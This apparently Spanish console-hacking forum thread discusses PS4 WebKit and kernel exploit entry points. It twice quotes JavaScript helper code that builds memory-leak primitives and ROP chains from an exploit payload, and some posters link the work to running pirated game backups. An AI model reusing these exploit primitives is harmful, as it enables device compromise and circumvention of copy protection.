› Foros › PlayStation 4 › Scene
delid76 escribió:
DEP escribió:Los FPKG siguen teniendo firma. Lo que no tiene una firma oficial son los .ELF creados por la comunidad, payloads, etc.
Lo que mostró ayer es un entry point diferente usando el webkit de las aplicaciones de vídeo, no tiene más misterio.
linesguapo escribió:DEP escribió:Los FPKG siguen teniendo firma. Lo que no tiene una firma oficial son los .ELF creados por la comunidad, payloads, etc.
Lo que mostró ayer es un entry point diferente usando el webkit de las aplicaciones de vídeo, no tiene más misterio.
Nos puedes ilustrar y esplicar en cristiano lo que ha explicado y por qué los usuarios le están twitteando (gracias por nada).
linesguapo escribió:DEP escribió:Los FPKG siguen teniendo firma. Lo que no tiene una firma oficial son los .ELF creados por la comunidad, payloads, etc.
Lo que mostró ayer es un entry point diferente usando el webkit de las aplicaciones de vídeo, no tiene más misterio.
Nos puedes ilustrar y esplicar en cristiano lo que ha explicado y por qué los usuarios le están twitteando (gracias por nada).
// Basic memory functions
function malloc(size)
{
var backing = new Uint8Array(0x10000 + size);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function mallocu32(size) {
var backing = new Uint8Array(0x10000 + size * 4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function stringify(str)
{
var bufView = new Uint8Array(str.length + 1);
for(var i=0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
}
// Class for quickly creating a kernel ROP chain
var krop = function (p, addr) {
// Contains base and stack pointer for fake stack (this.stackBase = RBP, this.stackPointer = RSP)
this.stackBase = addr;
this.stackPointer = 0;
// Push instruction / value onto fake stack
this.push = function (val) {
p.write8(this.stackBase.add32(this.stackPointer), val);
this.stackPointer += 8;
};
// Write to address with value (helper function)
this.write64 = function (addr, val) {
this.push(window.gadgets["pop rdi"]);
this.push(addr);
this.push(window.gadgets["pop rax"]);
this.push(val);
this.push(window.gadgets["mov [rdi], rax"]);
}
// Return krop object
return this;
};
// Class for quickly creating and managing a ROP chain
window.rop = function() {
this.stack = new Uint32Array(0x10000);
this.stackBase = p.read8(p.leakval(this.stack).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for(var i = 0; i < 0xFF0 / 2; i++)
{
p.write8(this.stackBase.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.stackBase.add32(idx * 8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]);
this.push(where);
this.push(gadgets["pop rsi"]);
this.push(what);
this.push(gadgets["mov [rdi], rsi"]);
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if (rdi != undefined) {
this.push(gadgets["pop rdi"]);
this.push(rdi);
}
if (rsi != undefined) {
this.push(gadgets["pop rsi"]);
this.push(rsi);
}
if (rdx != undefined) {
this.push(gadgets["pop rdx"]);
this.push(rdx);
}
if (rcx != undefined) {
this.push(gadgets["pop rcx"]);
this.push(rcx);
}
if (r8 != undefined) {
this.push(gadgets["pop r8"]);
this.push(r8);
}
if (r9 != undefined) {
this.push(gadgets["pop r9"]);
this.push(r9);
}
this.push(rip);
return this;
}
this.run = function() {
var retv = p.loadchain(this, this.notimes);
this.clear();
return retv;
}
return this;
};
DEP escribió:linesguapo escribió:DEP escribió:Los FPKG siguen teniendo firma. Lo que no tiene una firma oficial son los .ELF creados por la comunidad, payloads, etc.
Lo que mostró ayer es un entry point diferente usando el webkit de las aplicaciones de vídeo, no tiene más misterio.
Nos puedes ilustrar y esplicar en cristiano lo que ha explicado y por qué los usuarios le están twitteando (gracias por nada).
Ayer explicó como en firmwares bajos consiguió atacar ciertas partes del sistema a través del kernel exploit de 1.76 y como consiguió hacer dumps en HEX de esas mismas partes del sistema a través del webkit de esas aplicaciones de vídeo combinándolo con el kernel exploit de aquel entonces. Los sistemas que a día de hoy utilizamos se apoyan en sus antiguos descubrimientos.
Lo que Morpheus dió a entender ayer es que con el webkit dentro de las aplicaciones de vídeo (el cual no se actualiza a menudo) podríamos usar un ROP en caso de no tener a disposición otro webkit exploit del navegador para hacerle un trigger al kernel y conseguir el mismo resultado que a día de hoy utilizando el exploit del navegador (El cual ya le hace un trigger al kernel de 5.05 gracias al ROP de Qwerty)
El exploit del webkit del navegador lo descubrió Qwerty en iOS (El cual es común con PS4 y Linux pues es UNIX) y permite atacar el kernel sin hacer tablas falsas dentro de las aplicaciones pues el código para atacar el kernel está incluído en el payload y es .js (javascript).// Basic memory functions
function malloc(size)
{
var backing = new Uint8Array(0x10000 + size);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function mallocu32(size) {
var backing = new Uint8Array(0x10000 + size * 4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function stringify(str)
{
var bufView = new Uint8Array(str.length + 1);
for(var i=0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
}
// Class for quickly creating a kernel ROP chain
var krop = function (p, addr) {
// Contains base and stack pointer for fake stack (this.stackBase = RBP, this.stackPointer = RSP)
this.stackBase = addr;
this.stackPointer = 0;
// Push instruction / value onto fake stack
this.push = function (val) {
p.write8(this.stackBase.add32(this.stackPointer), val);
this.stackPointer += 8;
};
// Write to address with value (helper function)
this.write64 = function (addr, val) {
this.push(window.gadgets["pop rdi"]);
this.push(addr);
this.push(window.gadgets["pop rax"]);
this.push(val);
this.push(window.gadgets["mov [rdi], rax"]);
}
// Return krop object
return this;
};
// Class for quickly creating and managing a ROP chain
window.rop = function() {
this.stack = new Uint32Array(0x10000);
this.stackBase = p.read8(p.leakval(this.stack).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for(var i = 0; i < 0xFF0 / 2; i++)
{
p.write8(this.stackBase.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.stackBase.add32(idx * 8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]);
this.push(where);
this.push(gadgets["pop rsi"]);
this.push(what);
this.push(gadgets["mov [rdi], rsi"]);
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if (rdi != undefined) {
this.push(gadgets["pop rdi"]);
this.push(rdi);
}
if (rsi != undefined) {
this.push(gadgets["pop rsi"]);
this.push(rsi);
}
if (rdx != undefined) {
this.push(gadgets["pop rdx"]);
this.push(rdx);
}
if (rcx != undefined) {
this.push(gadgets["pop rcx"]);
this.push(rcx);
}
if (r8 != undefined) {
this.push(gadgets["pop r8"]);
this.push(r8);
}
if (r9 != undefined) {
this.push(gadgets["pop r9"]);
this.push(r9);
}
this.push(rip);
return this;
}
this.run = function() {
var retv = p.loadchain(this, this.notimes);
this.clear();
return retv;
}
return this;
};
La gente le está poniendo mensajes en Twitter de gracias por nada porque son simplemente gilipollas pues esperaban un kernel exploit en 6.20 para poder piratear los juegos que requieren una versión superior para ser lanzados pues les importa una puta mierda que gracias al sistema que descubrió él mismo en 2015 puedan estar jugando a todo lo que hay por debajo de 5.05 al haber sido desarrollado y adaptado al nuevo kernel exploit.
Deberían ponerle más bien, gracias por todo Morpheus, eres el padre de la Scene de PS4.
Morpheus no liberará nada pues ya lo compartió en 2015 con quien tuvo que hacerlo.
Miguel20 escribió:Bien explicado, pero una cosa crees que esto funcionara para correr backups superiores?No digo que yo quiera backups
DEP escribió:Miguel20 escribió:Bien explicado, pero una cosa crees que esto funcionara para correr backups superiores?No digo que yo quiera backups
Sí, siempre que tuviésemos un kernel exploit para versiones superiores y no tuviésemos otro webkit exploit del navegador disponible.
A día de hoy ya hay otro webkit exploit público (el de Vultra) en el navegador de 6.20 y romperse la cabeza para adaptar este sistema es una pérdida de tiempo pues es más limitado que lo que tenemos actualmente.
PLIS-PLAS escribió:en cuanto actualicen las apps con código nuevo, adiós wexploit.
solo se mostró una investigación de algo que básicamente era sospechado en la scene.